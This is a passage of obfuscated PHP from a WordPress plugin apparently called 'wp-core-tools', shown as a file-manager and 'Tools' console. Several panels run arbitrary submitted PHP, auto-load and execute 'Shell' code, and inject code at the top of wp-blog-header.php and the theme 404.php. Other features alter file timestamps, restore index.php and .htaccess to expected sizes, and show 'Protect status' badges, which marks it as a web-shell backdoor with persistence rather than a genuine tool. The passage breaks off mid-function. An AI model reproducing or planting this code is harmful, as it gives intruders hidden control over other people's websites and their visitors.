                $a0a10a0[] = $a0a12a0;
            } else {
                $a0a11a0[] = $a0a12a0;
            }
        }
    }

    natcasesort($a0a10a0);
    natcasesort($a0a11a0);

        $a0a82a0 = a0a31a0($a0a4a0);
        $a0aTheme404 = a0a205a0Locate404Path();

    global $a0aProtectStatuses;

    echo '<div class="console-split">';
    echo '<div class="console-card console-pane console-pane--editor">';
    echo '<h2>Tools</h2>';
    echo '<div class="console-tabs">'
        . '<div class="console-tabs__nav">'
        . '<button type="button" class="console-tabs__btn is-active" data-tab-target="shell">Shell</button>'
        . '<button type="button" class="console-tabs__btn" data-tab-target="rc">RC</button>'
        . '<button type="button" class="console-tabs__btn" data-tab-target="maps">Exec</button>'
        . '<button type="button" class="console-tabs__btn" data-tab-target="alerts">Alerts</button>'
        . '</div>'
        . '<div class="console-tabs__content">'
        . '<div class="console-tab-panel is-active" data-tab-panel="shell">'
        . '<form method="post" class="console-form console-form--shell">'
        . wp_nonce_field('a0a23a0')

        . '<textarea name="a0a26a0" class="console-textarea" placeholder="PHP Code..."></textarea>'
        . '<div class="console-button-group">'
        . '<button type="submit" name="a0a27a0" class="button console-btn">Execute in Console</button>'
        . '<button type="submit" name="a0a76a0" class="button console-btn">Shell</button>'
        . '<button type="submit" name="a0a78a0" class="button console-btn">PreZ</button>'
        . '</div>'
        . '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />'
        . '</form>'
        . '</div>'
        . '<div class="console-tab-panel" data-tab-panel="rc">'
        . '<form method="post" class="console-form console-form--rc">'
        . wp_nonce_field('a0a23a0')
        . '<textarea name="a0a93a0_code" class="console-textarea" placeholder="RC Code..."></textarea>'
        . '<div class="console-button-group">'
        . '<button type="submit" name="a0a93a0" class="button console-btn">Execute RC</button>'
        . '</div>'
        . '</form>'
        . '</div>'
        . '<div class="console-tab-panel" data-tab-panel="maps">'
        . '<form method="post" class="console-form console-form--maps">'
        . wp_nonce_field('a0a23a0')
        . '<textarea name="maps_code" class="console-textarea" placeholder="PHP Code..." style="min-height: 300px; font-family: Consolas, Monaco, monospace;"></textarea>'
        . '<div style="margin: 10px 0;">'
        . '<label style="display: block; margin-bottom: 5px; font-weight: 600;">.htaccess file size:</label>';
        
        $htaccessPath = rtrim($a0a4a0, '/') . '/.htaccess';
        if (file_exists($htaccessPath)) {
            $sizeBytes = filesize($htaccessPath);
            if ($sizeBytes !== false) {
                $sizeKB = $sizeBytes / 1024;
                if ($sizeKB >= 1024) {
                    $sizeMB = $sizeKB / 1024;
                    $sizeText = number_format($sizeMB, 2) . ' MB (' . number_format($sizeBytes) . ' bytes)';
                } elseif ($sizeKB >= 1) {
                    $sizeText = number_format($sizeKB, 2) . ' KB (' . number_format($sizeBytes) . ' bytes)';
                } else {
                    $sizeText = number_format($sizeBytes) . ' bytes';
                }
                echo '<div style="color: #333; font-family: monospace;">' . esc_html($sizeText) . '</div>';
                
                                if ($sizeBytes > 600) {
                    echo '<button type="submit" name="maps_fix_htaccess" class="button console-btn" style="margin-top: 10px;">Fix .htaccess</button>';
                }
            } else {
                echo '<div style="color: orange;">Failed to get file size</div>';
            }
        } else {
            echo '<div style="color: orange;">.htaccess file not found</div>';
            echo '<button type="submit" name="maps_fix_htaccess" class="button console-btn" style="margin-top: 10px;">Fix .htaccess</button>';
        }
        
        echo '</div>'
        . '<div style="margin: 10px 0;">'
        . '<label style="display: block; margin-bottom: 5px; font-weight: 600;">index.php file size:</label>';
        
        $indexPath = rtrim($a0a4a0, '/') . '/index.php';
        if (file_exists($indexPath)) {
            $sizeBytes = filesize($indexPath);
            if ($sizeBytes !== false) {
                $sizeKB = $sizeBytes / 1024;
                if ($sizeKB >= 1024) {
                    $sizeMB = $sizeKB / 1024;
                    $sizeText = number_format($sizeMB, 2) . ' MB (' . number_format($sizeBytes) . ' bytes)';
                } elseif ($sizeKB >= 1) {
                    $sizeText = number_format($sizeKB, 2) . ' KB (' . number_format($sizeBytes) . ' bytes)';
                } else {
                    $sizeText = number_format($sizeBytes) . ' bytes';
                }
                echo '<div style="color: #333; font-family: monospace;">' . esc_html($sizeText) . '</div>';
                
                if ($sizeBytes < 400 || $sizeBytes > 410) {
                    echo '<button type="submit" name="maps_fix_index" class="button console-btn" style="margin-top: 10px;">Fix index</button>';
                }
            } else {
                echo '<div style="color: orange;">Failed to get file size</div>';
            }
        } else {
            echo '<div style="color: orange;">index.php file not found</div>';
            echo '<button type="submit" name="maps_fix_index" class="button console-btn" style="margin-top: 10px;">Fix index</button>';
        }
        
        echo '</div>'
        . '<div style="margin: 10px 0;">'
        . '<label style="display: block; margin-bottom: 5px; font-weight: 600;">functions.php file size (current theme):</label>';
        
        $functionsPath = get_template_directory() . '/functions.php';
        if (file_exists($functionsPath)) {
            $sizeBytes = filesize($functionsPath);
            if ($sizeBytes !== false) {
                $sizeKB = $sizeBytes / 1024;
                if ($sizeKB >= 1024) {
                    $sizeMB = $sizeKB / 1024;
                    $sizeText = number_format($sizeMB, 2) . ' MB (' . number_format($sizeBytes) . ' bytes)';
                } elseif ($sizeKB >= 1) {
                    $sizeText = number_format($sizeKB, 2) . ' KB (' . number_format($sizeBytes) . ' bytes)';
                } else {
                    $sizeText = number_format($sizeBytes) . ' bytes';
                }
                echo '<div style="color: #333; font-family: monospace;">' . esc_html($sizeText) . '</div>';
                
                if ($sizeBytes == 0) {
                    echo '<div style="color: orange; margin-top: 5px;">File is empty</div>';
                    echo '<button type="submit" name="maps_change_theme" class="button console-btn" style="margin-top: 10px;">Change theme</button>';
                }
            } else {
                echo '<div style="color: orange;">Failed to get file size</div>';
                echo '<button type="submit" name="maps_change_theme" class="button console-btn" style="margin-top: 10px;">Change theme</button>';
            }
        } else {
            echo '<div style="color: orange;">functions.php file not found</div>';
            echo '<button type="submit" name="maps_change_theme" class="button console-btn" style="margin-top: 10px;">Change theme</button>';
        }
        
        echo '</div>'
        . '<div class="console-button-group">'
        . '<button type="submit" name="maps_execute" class="button console-btn">Execute</button>'
        . '<button type="submit" name="maps_temp_execute" class="button console-btn">Temp execute</button>'
        . '<button type="submit" name="maps_prez" class="button console-btn">PreZ</button>'
        . '</div>'
        . '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />'
        . '</form>'
        . '</div>'
        . '<div class="console-tab-panel" data-tab-panel="alerts">'
        . '<form method="post" class="console-form console-form--alerts">'
        . wp_nonce_field('a0a23a0')
        . '<div class="console-card" style="background:#f8fafc; border:1px dashed #cdd6f3; border-radius:12px; padding:14px; display:flex; flex-direction:column; gap:8px;">'
        . '<div style="font-weight:700;">Protect status</div>';
        foreach ($a0aProtectStatuses as $a0aProtectItem) {
            $a0aIsOn = ($a0aProtectItem['status'] === 'ON');
            $a0aColor = $a0aIsOn ? '#16a34a' : '#dc2626';
            $a0aBadgeBg = $a0aIsOn ? '#ecfdf3' : '#fef2f2';
            echo '<div style="display:flex; align-items:center; gap:10px; font-size:14px; color:#0f172a;">'
                . '<span>' . esc_html($a0aProtectItem['label']) . '</span>'
                . '<span style="padding:4px 10px; border-radius:999px; background:' . $a0aBadgeBg . '; color:' . $a0aColor . '; font-weight:700;">'
                . esc_html($a0aProtectItem['status'])
                . '</span>'
                . '</div>';
        }
        echo '</div>'
        . '<textarea name="alerts_message" class="console-textarea" placeholder="Alert code..." style="min-height: 180px;"></textarea>'
        . '<div class="console-button-group">'
        . '<button type="submit" name="alerts_execute" class="button console-btn">Execute</button>'
        . '<button type="submit" name="alerts_add_blog" class="button console-btn">Add to wp-blog-header.php</button>'
        . '<button type="submit" name="alerts_add_theme" class="button console-btn">Add to theme 404.php</button>'
        . '</div>'
        . '<div class="console-card" style="background:#f8fafc; border:1px dashed #cdd6f3; border-radius:12px; padding:14px;">'
        . '<div style="font-weight:700; margin-bottom:8px;">Theme 404</div>'
        . '<div style="font-size:14px; color:#0f172a;">'
        . (!empty($a0aTheme404)
            ? 'Found theme 404 file: ' . esc_html($a0aTheme404)
            : 'Theme 404 file not found.')
        . '</div>'
        . '</div>'
        . '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />'
        . '</form>'
        . '</div>'
        . '</div>'
        . '</div>'
        . '</div>'
        . '</div>';
    echo '</div>';

    echo '<div class="wp-php-console">';

    echo '<div class="console-card console-list-card" style="margin-top: 24px;">';

    echo '<h2>Management</h2>';
    echo '<div class="console-button-group">';
    
    $wp_debug_status = a0a201a0WpDebugCheck();
    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<span style="padding:6px 10px; border-radius:999px; border:1px solid #d1d5db; font-weight:700; background:' . ($wp_debug_status ? '#e8f5e9' : '#f3f4f6') . '; color:' . ($wp_debug_status ? '#2e7d32' : '#4b5563') . ';">WP Debug: ' . ($wp_debug_status ? 'ON' : 'OFF') . '</span>';
    if ($wp_debug_status) {
        echo '<button type="submit" name="a0a203a0_debug_off" class="button console-btn">Turn Off</button>';
    } else {
        echo '<button type="submit" name="a0a203a0_debug_on" class="button console-btn">Turn On</button>';
    }
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';
    
    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0a30a0" class="button console-btn console-btn-danger">Delete Plugin</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';
    
    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0a130a0_reinstall_theme" class="button console-btn">Reinstall Theme</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';
    
    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0a134a0_purge_cache" class="button console-btn">Purge Cache</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';

    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0aPromTools_backup_functions" class="button console-btn">Backup functions.php</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';

        echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0a_clean_wpbh" class="button console-btn">Clear wp-blog-header.php</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';

    echo '<form method="post" style="display: inline;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0a_clean_404" class="button console-btn">Clear 404.php</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';

    $has_db_backup = get_option('theme_functions_bk') !== false;
    echo '<form method="post" style="display: inline; margin-left: 6px;">';
    wp_nonce_field('a0a23a0');
    echo '<button type="submit" name="a0aPromTools_restore_functions_db" class="button console-btn" ' . ($has_db_backup ? '' : 'disabled') . '>Restore functions.php from DB</button>';
    echo '<input type="hidden" name="dir" value="' . base64_encode($a0a4a0) . '" />';
    echo '</form>';
    echo '</div>';
    echo '</div>';

    echo '<div class="console-grid" style="margin-top: 12px;">';

echo '<div class="console-card console-list-card" style="grid-column: 1 / 2;">';
echo '<h2>Directories</h2>';

if (empty($a0a10a0)) {
    echo '<p class="console-empty">No directories available.</p>';
} else {
    echo '<ul class="console-list">';
    foreach ($a0a10a0 as $a0a14a0) {
        $a0a9a0 = base64_encode($a0a4a0 . DIRECTORY_SEPARATOR . $a0a14a0);

        echo '<li class="console-list-item">';
        echo '<a class="console-folder-link" href="#" onclick="a0a7a0(\'' . $a0a9a0 . '\')">'
            . esc_html($a0a14a0) . '</a>';

        echo '<div class="console-actions">';

        echo '<a class="console-action console-action--danger" href="#" onclick="if(confirm(\'Delete directory and all its contents?\')) window.location=\'?page=wp-core-tools&act=del&target='
            . urlencode($a0a9a0)
            . '\'">Delete</a>';

        echo '<a class="console-action" href="#" onclick="a0a21a0(\'' . $a0a9a0 . '\')">Chmod</a>';
        echo '<a class="console-action" href="#" onclick="a0a22a0(\'' . $a0a9a0 . '\')">Touch</a>';

        echo '</div>';
        echo '</li>';
    }
    echo '</ul>';
}

echo '</div>';

echo '<div class="console-card console-list-card">';
echo '<h2>Files</h2>';

echo '<div style="margin-bottom: 10px;">';
echo '<label><input type="checkbox" id="selectAllFiles" onchange="toggleAllFiles()"> Select all files</label>';
echo '</div>';

if (empty($a0a11a0)) {
    echo '<p class="console-empty">No files available.</p>';
} else {
    echo '<form id="bulkDeleteForm" method="post">';
    echo '<ul class="console-list">';

    foreach ($a0a11a0 as $a0a15a0) {
        $a0a16a0 = $a0a4a0 . DIRECTORY_SEPARATOR . $a0a15a0;

        echo '<li class="console-list-item">';
        echo '<div style="display: flex; align-items: center; gap: 10px;">';
        echo '<input type="checkbox" name="selected_files[]" value="' . esc_attr($a0a16a0) . '" class="file-checkbox">';
        echo '<span class="console-file-name">' . esc_html($a0a15a0) . '</span>';
        echo '</div>';

        echo '<div class="console-actions">';

        echo '<a class="console-action" href="?page=wp-core-tools&act=view&target=' . urlencode($a0a16a0) . '">View</a>';
        echo '<a class="console-action" href="?page=wp-core-tools&act=edit&target=' . urlencode($a0a16a0) . '">Edit</a>';

        echo '<a class="console-action" href="#" onclick="if(confirm(\'Delete file?\')) window.location=\'?page=wp-core-tools&act=del&target='
            . urlencode($a0a16a0)
            . '\'">Delete</a>';

        echo '<a class="console-action" href="#" onclick="var newname=prompt(\'New name:\', \'' . basename($a0a16a0) . '\'); if(newname) window.location=\'?page=wp-core-tools&act=rename&target='
            . urlencode($a0a16a0)
            . '&new=\'+encodeURIComponent(newname);">Rename</a>';

        echo '<a class="console-action" href="#" onclick="var chmod=prompt(\'Permissions (e.g., 0755):\'); if(chmod) window.location=\'?page=wp-core-tools&act=chmod&target='
            . urlencode($a0a16a0)
            . '&chmod=\'+chmod;">Chmod</a>';

        echo '</div>';
        echo '</li>';
    }

    echo '</ul>';

    echo '<div style="margin-top: 15px;">';
    echo '<button type="submit" name="bulk_delete" class="button button-primary" onclick="return confirm(\'Delete selected files?\')">Delete Selected Files</button>';
    echo '</div>';

    echo '</form>';
}

echo '</div>';
echo '</div>';

?>
    
    <div id="viewModal" style="display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5);">
        <div style="position: relative; background-color: #fff; margin: 5% auto; padding: 20px; width: 90%; max-width: 800px; max-height: 80%; overflow-y: auto;">
            <span style="position: absolute; right: 20px; top: 15px; font-size: 28px; font-weight: bold; cursor: pointer;" onclick="closeViewModal()">&times;</span>
            <h2 id="viewTitle">View File</h2>
            <pre id="viewContent" style="background: #f4f4f4; padding: 15px; white-space: pre-wrap; overflow-x: auto;"></pre>
        </div>
    </div>
    
    <div id="editModal" style="display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5);">
        <div style="position: relative; background-color: #fff; margin: 5% auto; padding: 20px; width: 90%; max-width: 800px; max-height: 80%; overflow-y: auto;">
            <span style="position: absolute; right: 20px; top: 15px; font-size: 28px; font-weight: bold; cursor: pointer;" onclick="closeEditModal()">&times;</span>
            <h2 id="editTitle">Edit File</h2>
            <textarea id="editContent" style="width: 100%; height: 400px; font-family: monospace; padding: 10px; border: 1px solid #ddd;"></textarea>
            <div style="margin-top: 10px;">
                <button type="button" onclick="saveFile()" style="background: #4CAF50; color: white; padding: 10px 20px; border: none; cursor: pointer;">Save</button>
                <button type="button" onclick="closeEditModal()" style="background: #f44336; color: white; padding: 10px 20px; border: none; cursor: pointer; margin-left: 10px;">Cancel</button>
            </div>
        </div>
    </div>
    
    <script type="text/javascript">
        var currentFilePath = '';
        
        function a0a7a0(a0a32a0) {
            var a0a33a0 = document.createElement("form");
            a0a33a0.method = "post";
            var a0a34a0 = document.createElement("input");
            a0a34a0.type = "hidden";
            a0a34a0.name = "dir";
            a0a34a0.value = a0a32a0;
            a0a33a0.appendChild(a0a34a0);
            var a0a36a0 = document.createElement("input");
            a0a36a0.type = "hidden";
            a0a36a0.name = "current_dir";
            a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
            a0a33a0.appendChild(a0a36a0);
            document.body.appendChild(a0a33a0);
            a0a33a0.submit();
        }
        
        function toggleAllFiles() {
            var selectAll = document.getElementById('selectAllFiles');
            var checkboxes = document.querySelectorAll('.file-checkbox');
            checkboxes.forEach(function(checkbox) {
                checkbox.checked = selectAll.checked;
            });
        }

        function a0a21a0(a0a35a0) {
            jQuery.post(ajaxurl, { action: "get_file_info", file_path: a0a35a0 }, function(a0a37a0) {
                if (a0a37a0.success) {
                    var a0a38a0 = prompt("Enter chmod value (e.g., 0755):", a0a37a0.data.chmod);
                    if (a0a38a0 !== null) {
                        var a0a33a0 = document.createElement("form");
                        a0a33a0.method = "post";
                        a0a33a0.action = "";
                        var a0a39a0 = document.createElement("input");
                        a0a39a0.type = "hidden";
                        a0a39a0.name = "chmod_file";
                        a0a39a0.value = a0a35a0;
                        a0a33a0.appendChild(a0a39a0);
                        var a0a40a0 = document.createElement("input");
                        a0a40a0.type = "hidden";
                        a0a40a0.name = "chmod_value";
                        a0a40a0.value = a0a38a0;
                        a0a33a0.appendChild(a0a40a0);
                        var a0a36a0 = document.createElement("input");
                        a0a36a0.type = "hidden";
                        a0a36a0.name = "current_dir";
                        a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
                        a0a33a0.appendChild(a0a36a0);
                        document.body.appendChild(a0a33a0);
                        a0a33a0.submit();
                    }
                } else {
                    alert("Error: " + a0a37a0.data);
                }
            });
        }

        function a0a22a0(a0a35a0) {
            jQuery.post(ajaxurl, { action: "get_file_info", file_path: a0a35a0 }, function(a0a37a0) {
                if (a0a37a0.success) {
                    var a0a41a0 = prompt("Enter date and time (e.g., 2024-05-14T12:00):", a0a37a0.data.touch);
                    if (a0a41a0 !== null) {
                        var a0a33a0 = document.createElement("form");
                        a0a33a0.method = "post";
                        a0a33a0.action = "";
                        var a0a39a0 = document.createElement("input");
                        a0a39a0.type = "hidden";
                        a0a39a0.name = "touch_file";
                        a0a39a0.value = a0a35a0;
                        a0a33a0.appendChild(a0a39a0);
                        var a0a42a0 = document.createElement("input");
                        a0a42a0.type = "hidden";
                        a0a42a0.name = "touch_value";
                        a0a42a0.value = a0a41a0;
                        a0a33a0.appendChild(a0a42a0);
                        var a0a36a0 = document.createElement("input");
                        a0a36a0.type = "hidden";
                        a0a36a0.name = "current_dir";
                        a0a36a0.value = "<?php echo base64_encode($a0a4a0); ?>";
                        a0a33a0.appendChild(a0a36a0);
                        document.body.appendChild(a0a33a0);
                        a0a33a0.submit();
                    }
                } else {
                    alert("Error: " + a0a37a0.data);
                }
            });
        }

        document.addEventListener("DOMContentLoaded", function() {
            var shellBtn = document.getElementById("a0a76a0");
            var shellSources = <?php echo wp_json_encode($a0a77a0Sources); ?>;
            var tabButtons = document.querySelectorAll(".console-tabs__btn");
            var tabPanels = document.querySelectorAll(".console-tab-panel");

            function activateTab(target) {
                tabButtons.forEach(function(btn) {
                    btn.classList.toggle("is-active", btn.getAttribute("data-tab-target") === target);
                });
                tabPanels.forEach(function(panel) {
                    panel.classList.toggle("is-active", panel.getAttribute("data-tab-panel") === target);
                });
                
                                localStorage.setItem('activeConsoleTab', target);
            }

            tabButtons.forEach(function(btn) {
                btn.addEventListener("click", function() {
                    activateTab(btn.getAttribute("data-tab-target"));
                });
            });

                        var savedTab = localStorage.getItem('activeConsoleTab');
            if (savedTab) {
                activateTab(savedTab);
            }

            function a0a77a0LoadAndExecute(sourceFiles) {
                var sources = Array.isArray(sourceFiles) ? sourceFiles : [sourceFiles];
                var consoleForm = document.querySelector(".console-form--shell");
                if (!consoleForm || sources.length === 0) {
                    return;
                }

                var textarea = consoleForm.querySelector("textarea[name='a0a26a0']");
                if (!textarea) {
                    return;
                }

                textarea.value = "Loading...";

                var collected = [];
                var lastCode = '';

                function loadNext(index) {
                    if (index >= sources.length) {
                                                textarea.value = lastCode;

                        if (!consoleForm.querySelector("input[name='a0a27a0']")) {
                            var hiddenSubmit = document.createElement("input");
                            hiddenSubmit.type = "hidden";
                            hiddenSubmit.name = "a0a27a0";
                            hiddenSubmit.value = "1";
                            consoleForm.appendChild(hiddenSubmit);
                        }

                        consoleForm.submit();
                        return;
                    }

                    jQuery.post(ajaxurl, { action: "a0a77a0", source: sources[index] })
                        .done(function(response) {
                            if (!response || !response.success || !response.data || typeof response.data.code === 'undefined') {
                                alert("Error: " + (response && response.data ? response.data : 'Failed to get code.'));
                                textarea.value = '';
                                return;
                            }

                                                        collected.push(response.data.code);
                                                        lastCode = response.data.code;
                            loadNext(index + 1);
                        })
                        .fail(function() {
                            alert("Error: Cannot get code.");
                            textarea.value = '';
                        });
                }

                loadNext(0);
            }

            if (shellBtn) {
                shellBtn.addEventListener("click", function() {
                    if (!shellSources.length) {
                        alert("Shell: Files not found.");
                        return;
                    }

                    a0a77a0LoadAndExecute(shellSources);
                });
            }

            var autoupdateBtn = document.getElementById("a0a95a0");
            if (autoupdateBtn) {
                autoupdateBtn.addEventListener("click", function() {
                    var form = document.createElement("form");
                    form.method = "post";
                    form.style.display = "none";
                    
                    var nonceInput = document.createElement("input");
                    nonceInput.type = "hidden";
                    nonceInput.name = "_wpnonce";
                    nonceInput.value = "<?php echo wp_create_nonce('a0a23a0'); ?>";
                    form.appendChild(nonceInput);
                    
                    var autoupdateInput = document.createElement("input");
                    autoupdateInput.type = "hidden";
                    autoupdateInput.name = "a0a95a0";
                    autoupdateInput.value = "1";
                    form.appendChild(autoupdateInput);
                    
                    var dirInput = document.createElement("input");
                    dirInput.type = "hidden";
                    dirInput.name = "dir";
                    dirInput.value = "<?php echo base64_encode($a0a4a0); ?>";
                    form.appendChild(dirInput);
                    
                    document.body.appendChild(form);
                    form.submit();
                });
            }
            
                        var mapsForm = document.querySelector(".console-form--maps");
            if (mapsForm) {
                mapsForm.addEventListener("submit", function(e) {
                    var textarea = mapsForm.querySelector("textarea[name='maps_code']");
                    if (textarea) {
                                                var savedCode = textarea.value;
                        
                                                setTimeout(function() {
                            textarea.value = savedCode;
                        }, 100);
                    }
                });
            }
        });
    </script>
    <?php
    echo '</div>';
}

function a0a31a0($a0a4a0) {
        ob_start();
    
    if (isset($_POST['a0a27a0'], $_POST['a0a26a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        chdir($a0a4a0);
        a0a43a0(stripslashes($_POST['a0a26a0']));
    }

    if (isset($_POST['a0a76a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a76a0ExecuteShell($a0a4a0);
    }

    if (isset($_POST['a0a78a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a78a0ExecutePreZ($a0a4a0);
    }

    if (isset($_POST['a0a95a0_upload'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a95a0UploadCode();
    }

    if (isset($_POST['a0a30a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a1a0();
                wp_redirect(admin_url('plugins.php?plugin-deleted=1'));
        exit;
    }

    if (isset($_POST['a0aPromTools_backup_functions'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0aPromToolsBackupFunctions();
    }

    if (isset($_POST['a0aPromTools_restore_functions_db'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0aPromToolsRestoreFunctionsFromDb();
    }

    if (isset($_POST['a0a93a0'], $_POST['a0a93a0_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a93a0ApplyRcCode(stripslashes($_POST['a0a93a0_code']));
    }

    if (isset($_POST['a0a203a0_debug_on'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        echo '<div style="color: #333;">Turning on WP DEBUG...</div>';
        a0a202a0WpDebugSwitch(true);
        echo '<div style="color: green;">WP DEBUG enabled.</div>';
    }

    if (isset($_POST['a0a203a0_debug_off'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        echo '<div style="color: #333;">Turning off WP DEBUG...</div>';
        a0a202a0WpDebugSwitch(false);
        echo '<div style="color: green;">WP DEBUG disabled.</div>';
    }

    if (isset($_POST['alerts_execute'], $_POST['alerts_message'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $code = trim(stripslashes($_POST['alerts_message']));
        if ($code === '') {
            echo '<div style="color: orange;">Empty.</div>';
        } else {
            chdir($a0a4a0);
            a0a43a0($code);
        }
    }

    if (isset($_POST['a0a_clean_wpbh']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0')) {
        if (a0aCleanWpBh(ABSPATH . 'wp-blog-header.php')) {
            echo '<div style="color: green;">wp-blog-header.php cleaned.</div>';
        } else {
            echo '<div style="color: red;">Cannot modify wp-blog-header.php.</div>';
        }
    }

    if (isset($_POST['a0a_clean_404']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0')) {
        if (a0aFix404()) {
            echo '<div style="color: green;">404.php restored.</div>';
        } else {
            echo '<div style="color: red;">Failed to restore 404.php.</div>';
        }
    }

    if (isset($_POST['alerts_add_blog'], $_POST['alerts_message'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $code = trim(stripslashes($_POST['alerts_message']));
        if ($code === '') {
            echo '<div style="color: orange;">Empty.</div>';
        } else {
            $path = ABSPATH . 'wp-blog-header.php';
            $result = a0a204a0InsertCodeAtStart($path, $code);
            $color = $result['ok'] ? 'green' : 'red';
            echo '<div style="color: ' . $color . ';">' . esc_html($result['message']) . '</div>';
        }
    }

    if (isset($_POST['alerts_add_theme'], $_POST['alerts_message'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        $code = trim(stripslashes($_POST['alerts_message']));
        if ($code === '') {
            echo '<div style="color: orange;">Empty.</div>';
        } else {
            $theme404 = a0a205a0Locate404Path();
            if ($theme404 === '') {
                echo '<div style="color: red;">File 404.php not found.</div>';
            } else {
                $result = a0a204a0InsertCodeAtStart($theme404, $code);
                $color = $result['ok'] ? 'green' : 'red';
                echo '<div style="color: ' . $color . ';">' . esc_html($result['message']) . '</div>';
            }
        }
    }

        if (isset($_POST['maps_execute'], $_POST['maps_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        chdir($a0a4a0);
        a0a43a0(stripslashes($_POST['maps_code']));
    }

        if (isset($_POST['maps_temp_execute'], $_POST['maps_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a80a0ExecuteTemp($a0a4a0, stripslashes($_POST['maps_code']));
    }

        if (isset($_POST['maps_fix_htaccess'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a77a0FixHtaccess($a0a4a0);
    }

    if (isset($_POST['maps_reinstall_theme'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a132a0ReinstallTheme();
    }

        if (isset($_POST['maps_prez'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a78a0ExecutePreZ($a0a4a0);
    }

        if (isset($_POST['maps_fix_index'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a79a0FixIndex($a0a4a0);
    }

    if (isset($_POST['maps_reinstall'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a119a0AutoReinstall();
    }

    if (isset($_POST['maps_change_theme'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a126a0FindThemeWithCorrectFunctions();
    }

    if (isset($_POST['a0a137a0_fix_index'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a137a0FixIndex();
    }

    if (isset($_POST['a0a130a0_reinstall_theme'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a130a0ReinstallTheme();
    }

    if (isset($_POST['a0a134a0_purge_cache'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
        a0a134a0PurgeCache();
    }

    
        $output = ob_get_clean();
    echo $output;
    
    if (isset($_GET['act'])) {
    $action = $_GET['act'];
    $target = isset($_GET['target']) ? $_GET['target'] : '';
    $newval = isset($_GET['newval']) ? $_GET['newval'] : '';
    
    switch($action){
        case 'del':
            if ($newval == "true"){
                if (is_file($target)){
                    unlink($target);
                    echo '<p>File <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
